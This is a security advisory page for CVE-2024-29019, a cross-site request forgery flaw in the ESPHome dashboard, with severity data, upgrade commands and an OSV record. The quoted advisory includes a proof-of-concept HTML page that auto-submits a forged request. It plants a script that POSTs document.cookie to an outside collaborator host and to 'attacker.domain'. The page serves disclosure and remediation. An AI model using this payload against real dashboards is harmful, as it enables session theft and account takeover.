CVE-2024-29019: Esphome Authentication Bypass Vulnerability

HIGH
Advisory Identifier: GHSA-5925-88xh-6h99
Share
CVSS 8.1
CWE-352
Published
Advisory Summary

CVE-2024-29019 is a HIGH (CVSS 8.1) authentication bypass vulnerability (CWE-352: Cross-Site Request Forgery (CSRF)) affecting Esphome libraries in the PyPI ecosystem. The issue involves esphome vulnerable to authentication bypass via cross site request forgery. Remediation is available by upgrading affected packages to version 2024.3.0.

CVE-2024-29019 at a Glance

CVE Identifier CVE-2024-29019
GHSA Identifier GHSA-5925-88xh-6h99
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-352: Cross-Site Request Forgery (CSRF)
Affected Product Esphome
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2024-29019

To remediate this vulnerability, upgrade all affected Esphome dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

esphome fixed: 2024.3.0 
pip install esphome>=2024.3.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

pip show esphome

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2024-29019, inspect your installed packages using pip:

pip show esphome

Analyze the terminal output to locate any version of Esphome in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2024.3.0), your application is affected.

Note: The pip show esphome command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-352: Cross-Site Request Forgery (CSRF), where the web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. In Esphome, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary API endpoints in dashboard component of ESPHome version 2023.12.9 (command line installation) are vulnerable to Cross-Site Request Forgery (CSRF) allowing remote attackers to carry out attacks against a logged user of the dashboard to perform operations on configuration files (create, edit, delete). ### Details It is possible for a malicious actor to create a specifically crafted web page that triggers a cross site request against ESPHome, this allows bypassing the authentication for API calls on the platform. ### PoC An example of malicious web page that abuses this vulnerability: <html> <body> <form action="http://localhost:6052/edit?configuration=poc.yaml" id="#main" method="POST" enctype="text/plain" onsubmit="setTimeout(function () { window.location.reload(); }, 10)"> <input type="hidden" name="&lt;script&gt;&#13;&#10;fetch&#40;&apos;https&#58;&#47;&#47;907zv9yp9u3rjerkiakydpvcr3xulk99&#46;oastify&#46;com&#63;x" value="y&apos;&#44;&#32;&#123;&#13;&#10;method&#58;&#32;&apos;POST&apos;&#44;&#13;&#10;mode&#58;&#32;&apos;no&#45;cors&apos;&#44;&#13;&#10;body&#58;document&#46;cookie&#13;&#10;&#125;&#41;&#59;&#13;&#10;&lt;&#47;script&gt;&#13;&#10;" /> </form> <script> document.forms[0].submit(); </script> <script> </script> </body> </html> In which an attacker creates and weaponizes "poc.yaml" config file containing a cookie exfiltration script and forces the payload triggering visiting the vulnerable page. Example of such script: <script> fetch('https://attacker.domain', { method: 'POST', mode: 'no-cors', body:document.cookie }); </script> ### Impact This vulnerability allows bypassing authentication on API calls accessing configuration file operations on the behalf of a logged user. In order to trigger the vulnerability, the victim must visit a weaponized page. In addition to this, it is possible to chain this vulnerability with GHSA-9p43-hj5j-96h5 (as seen in the PoC) to obtain a complete takeover of the user account.

CVE-2024-29019 Affected Esphome Versions

1 component(s)
Fixed Versions:
2024.3.0
Product / Package Ecosystem Affected Versions Fixed Version
esphome
pypi/esphome
PyPI
≥ 2023.12.9
< 2024.3.0
2024.3.0

References

GitHub Advisory / Wiki ADVISORY
https://github.com/esphome/esphome/security/advisories/GHSA-5925-88xh-6h99
NVD — CVE-2024-29019 NVD
https://nvd.nist.gov/vuln/detail/CVE-2024-29019
Esphome Source Repository REPOSITORY
https://github.com/esphome/esphome/pull/6396
Esphome Source Repository REPOSITORY
https://github.com/esphome/esphome/pull/6397
Security Fix Commit FIX COMMIT
https://github.com/esphome/esphome/commit/c56c40cb824e34ed2b89ba1cb8a3a5eb31459c74
GitHub Advisory / Wiki ADVISORY
https://github.com/advisories/GHSA-9p43-hj5j-96h5
Esphome Source Repository REPOSITORY
https://github.com/esphome/esphome
Esphome Release RELEASE
https://github.com/esphome/esphome/releases/tag/2024.3.0

Frequently Asked Questions

What is CVE-2024-29019?
CVE-2024-29019 is a security vulnerability in Esphome involving ESPHome vulnerable to Authentication bypass via Cross site request forgery under CWE-352: Cross-Site Request Forgery (CSRF).
Which Esphome versions are affected?
Affected versions include releases prior to 2024.3.0 across affected packages: esphome.
What version fixes CVE-2024-29019?
Upgrading to 2024.3.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is esphome affected?
Yes, esphome is affected in releases prior to 2024.3.0. Upgrade your dependency to 2024.3.0 or later.
What is the CVSS score of CVE-2024-29019?
CVE-2024-29019 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2024-29019?
CVE-2024-29019 is classified under CWE-352: Cross-Site Request Forgery (CSRF) (The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.).
How can I check PyPI dependencies for CVE-2024-29019?
Run the dependency tree command: 'pip show esphome'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5925-88xh-6h99",
  "modified" : "2024-04-11T14:40:50Z",
  "published" : "2024-03-21T16:26:35Z",
  "aliases" : [ "CVE-2024-29019" ],
  "summary" : "ESPHome vulnerable to Authentication bypass via Cross site request forgery",
  "details" : "### Summary\nAPI endpoints in dashboard component of ESPHome version 2023.12.9 (command line installation) are vulnerable to Cross-Site Request Forgery (CSRF) allowing remote attackers to carry out attacks against a logged user of the dashboard to perform operations on configuration files (create, edit, delete).\n\n### Details\nIt is possible for a malicious actor to create a specifically crafted web page that triggers a cross site request against ESPHome, this allows bypassing the authentication for API calls on the platform.\n\n### PoC\nAn example of malicious web page that abuses this vulnerability:\n\n\n<html>\n  <body>\n\t<form action=\"http://localhost:6052/edit?configuration=poc.yaml\" id=\"#main\" method=\"POST\" enctype=\"text/plain\" onsubmit=\"setTimeout(function () { window.location.reload(); }, 10)\">\n  \t<input type=\"hidden\" name=\"&lt;script&gt;&#13;&#10;fetch&#40;&apos;https&#58;&#47;&#47;907zv9yp9u3rjerkiakydpvcr3xulk99&#46;oastify&#46;com&#63;x\" value=\"y&apos;&#44;&#32;&#123;&#13;&#10;method&#58;&#32;&apos;POST&apos;&#44;&#13;&#10;mode&#58;&#32;&apos;no&#45;cors&apos;&#44;&#13;&#10;body&#58;document&#46;cookie&#13;&#10;&#125;&#41;&#59;&#13;&#10;&lt;&#47;script&gt;&#13;&#10;\" />\n\t</form>\n\n\t<script>\n  \tdocument.forms[0].submit();\n\t</script>\n\n\t<script>\n\t</script>\n  </body>\n</html>\n\nIn which an attacker creates and weaponizes \"poc.yaml\" config file containing a cookie exfiltration script and forces the payload triggering visiting the vulnerable page.\n\n\nExample of such script:\n<script>\nfetch('https://attacker.domain', {\nmethod: 'POST',\nmode: 'no-cors',\nbody:document.cookie\n});\n</script>\n\n\n### Impact\nThis vulnerability allows bypassing authentication on API calls accessing configuration file operations on the behalf of a logged user. In order to trigger the vulnerability, the victim must visit a weaponized page.\n\nIn addition to this, it is possible to chain this vulnerability with GHSA-9p43-hj5j-96h5 (as seen in the PoC) to obtain a complete takeover of the user account.\n\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "esphome"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2023.12.9"
      }, {
        "fixed" : "2024.3.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/esphome/esphome/security/advisories/GHSA-5925-88xh-6h99"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-29019"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/esphome/esphome/pull/6396"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/esphome/esphome/pull/6397"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/esphome/esphome/commit/c56c40cb824e34ed2b89ba1cb8a3a5eb31459c74"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-9p43-hj5j-96h5"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/esphome/esphome"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/esphome/esphome/releases/tag/2024.3.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-352" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-03-21T16:26:35Z",
    "nvd_published_at" : "2024-04-11T01:25:11Z"
  }
}